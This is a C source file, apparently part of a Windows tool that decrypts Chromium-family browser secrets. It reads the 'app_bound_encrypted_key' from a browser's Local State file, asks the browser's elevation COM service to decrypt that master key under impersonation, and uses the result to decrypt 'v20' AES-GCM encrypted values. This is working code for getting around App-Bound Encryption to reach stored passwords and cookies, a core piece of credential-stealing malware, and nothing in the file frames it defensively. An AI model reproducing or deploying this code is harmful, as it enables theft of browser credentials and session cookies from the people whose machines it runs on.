#include "crypto.h"
#include "utils.h"
#include "buffer.h"
#include <Windows.h>
#include <bcrypt.h>
#include <string.h>
#include <stdlib.h>

#pragma comment(lib, "bcrypt.lib")

#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#endif

static const uint8_t KEY_PREFIX[] = { 'A', 'P', 'P', 'B' };
static const char V20_PREFIX[] = "v20";
static const size_t V20_PREFIX_LEN = 3;

typedef struct IOriginalBaseElevator IOriginalBaseElevator;

typedef struct IOriginalBaseElevatorVtbl {
    // IUnknown methods
    HRESULT(STDMETHODCALLTYPE* QueryInterface)(IOriginalBaseElevator* This, REFIID riid, void** ppvObject);
    ULONG(STDMETHODCALLTYPE* AddRef)(IOriginalBaseElevator* This);
    ULONG(STDMETHODCALLTYPE* Release)(IOriginalBaseElevator* This);

    HRESULT(STDMETHODCALLTYPE* RunRecoveryCRXElevated)(IOriginalBaseElevator* This, const WCHAR*, const WCHAR*, const WCHAR*, const WCHAR*, DWORD, PULONG_PTR);
    HRESULT(STDMETHODCALLTYPE* EncryptData)(IOriginalBaseElevator* This, ProtectionLevel, const BSTR, BSTR*, DWORD*);
    HRESULT(STDMETHODCALLTYPE* DecryptData)(IOriginalBaseElevator* This, const BSTR, BSTR*, DWORD*);
} IOriginalBaseElevatorVtbl;

struct IOriginalBaseElevator {
    CONST_VTBL struct IOriginalBaseElevatorVtbl* lpVtbl;
};

// A949CB4E-C4F9-44C4-B213-6BF8AA9AC69C
static const IID IID_IOriginalBaseElevator = { 0xA949CB4E, 0xC4F9, 0x44C4, { 0xB2, 0x13, 0x6B, 0xF8, 0xAA, 0x9A, 0xC6, 0x9C } };

ByteBuffer* decrypt_gcm(const uint8_t* key, size_t key_len, const uint8_t* blob, size_t blob_len) {
    if (!key || !blob || key_len != KEY_SIZE) return NULL;

    const size_t overhead = V20_PREFIX_LEN + GCM_IV_LENGTH + GCM_TAG_LENGTH;
    if (blob_len < overhead || memcmp(blob, V20_PREFIX, V20_PREFIX_LEN) != 0) {
        return NULL;
    }

    BCRYPT_ALG_HANDLE alg = NULL;
    if (!NT_SUCCESS(BCryptOpenAlgorithmProvider(&alg, BCRYPT_AES_ALGORITHM, NULL, 0))) {
        return NULL;
    }

    BCryptSetProperty(alg, BCRYPT_CHAINING_MODE,
        (PUCHAR)BCRYPT_CHAIN_MODE_GCM,
        sizeof(BCRYPT_CHAIN_MODE_GCM), 0);

    BCRYPT_KEY_HANDLE hkey = NULL;
    NTSTATUS status = BCryptGenerateSymmetricKey(alg, &hkey, NULL, 0,
        (PUCHAR)key, (ULONG)key_len, 0);
    if (!NT_SUCCESS(status)) {
        BCryptCloseAlgorithmProvider(alg, 0);
        return NULL;
    }

    const uint8_t* iv = blob + V20_PREFIX_LEN;
    const uint8_t* ct = iv + GCM_IV_LENGTH;
    const uint8_t* tag = blob + blob_len - GCM_TAG_LENGTH;
    ULONG ct_len = (ULONG)(blob_len - overhead);

    BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO auth_info;
    BCRYPT_INIT_AUTH_MODE_INFO(auth_info);
    auth_info.pbNonce = (PUCHAR)iv;
    auth_info.cbNonce = GCM_IV_LENGTH;
    auth_info.pbTag = (PUCHAR)tag;
    auth_info.cbTag = GCM_TAG_LENGTH;

    ByteBuffer* plain = buffer_create(ct_len > 0 ? ct_len : 1);
    if (!plain) {
        BCryptDestroyKey(hkey);
        BCryptCloseAlgorithmProvider(alg, 0);
        return NULL;
    }

    ULONG out_len = 0;
    status = BCryptDecrypt(hkey, (PUCHAR)ct, ct_len, &auth_info,
        NULL, 0, plain->data, (ULONG)plain->capacity, &out_len, 0);

    BCryptDestroyKey(hkey);
    BCryptCloseAlgorithmProvider(alg, 0);

    if (!NT_SUCCESS(status)) {
        buffer_destroy(plain);
        return NULL;
    }

    plain->size = out_len;
    return plain;
}

ByteBuffer* get_encrypted_master_key(const wchar_t* local_state_path) {
    if (!local_state_path) return NULL;

    char* content = NULL;
    size_t size = 0;

    if (!read_file_content(local_state_path, &content, &size)) {
        return NULL;
    }

    const char* tag = "\"app_bound_encrypted_key\":\"";
    char* pos = strstr(content, tag);
    if (!pos) {
        free(content);
        return NULL;
    }

    pos += strlen(tag);
    char* end_pos = strchr(pos, '"');
    if (!end_pos) {
        free(content);
        return NULL;
    }

    size_t b64_len = end_pos - pos;
    char* b64_key = malloc(b64_len + 1);
    if (!b64_key) {
        free(content);
        return NULL;
    }

    memcpy(b64_key, pos, b64_len);
    b64_key[b64_len] = '\0';

    ByteBuffer* decoded = base64_decode(b64_key);
    free(b64_key);
    free(content);

    if (!decoded) return NULL;

    if (decoded->size < sizeof(KEY_PREFIX) || memcmp(decoded->data, KEY_PREFIX, sizeof(KEY_PREFIX)) != 0) {
        buffer_destroy(decoded);
        return NULL;
    }

    size_t key_len = decoded->size - sizeof(KEY_PREFIX);
    memmove(decoded->data, decoded->data + sizeof(KEY_PREFIX), key_len);
    decoded->size = key_len;

    return decoded;
}

ByteBuffer* decrypt_master_key_via_com(const BrowserConfig* config, const uint8_t* encrypted_key, size_t encrypted_key_len) {
    if (!config || !encrypted_key) return NULL;

    HRESULT hr = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED);
    if (FAILED(hr)) return NULL;

    IOriginalBaseElevator* pEvelator = NULL;
    hr = CoCreateInstance(&config->clsid, NULL, CLSCTX_LOCAL_SERVER, &config->iid, (void**)&pEvelator);
    if (FAILED(hr)) {
        CoUninitialize();
        return NULL;
    }

    hr = CoSetProxyBlanket((IUnknown*)pEvelator, RPC_C_AUTHN_DEFAULT,
        RPC_C_AUTHZ_DEFAULT, COLE_DEFAULT_PRINCIPAL,
        RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
        RPC_C_IMP_LEVEL_IMPERSONATE, NULL,
        EOAC_DYNAMIC_CLOAKING);

    BSTR bstr_enc = SysAllocStringByteLen((const char*)encrypted_key, (UINT)encrypted_key_len);
    if (!bstr_enc) {
        pEvelator->lpVtbl->Release(pEvelator);
        CoUninitialize();
        return NULL;
    }

    BSTR bstr_plain = NULL;
    DWORD com_err = 0;
    hr = pEvelator->lpVtbl->DecryptData(pEvelator, bstr_enc, &bstr_plain, &com_err);

    SysFreeString(bstr_enc);
    pEvelator->lpVtbl->Release(pEvelator);

    if (FAILED(hr) || !bstr_plain) {
        CoUninitialize();
        return NULL;
    }

    UINT key_size = SysStringByteLen(bstr_plain);
    if (key_size != KEY_SIZE) {
        SysFreeString(bstr_plain);
        CoUninitialize();
        return NULL;
    }

    ByteBuffer* result = buffer_create(KEY_SIZE);
    if (result) {
        memcpy(result->data, bstr_plain, KEY_SIZE);
        result->size = KEY_SIZE;
    }

    SysFreeString(bstr_plain);
    CoUninitialize();

    return result;
}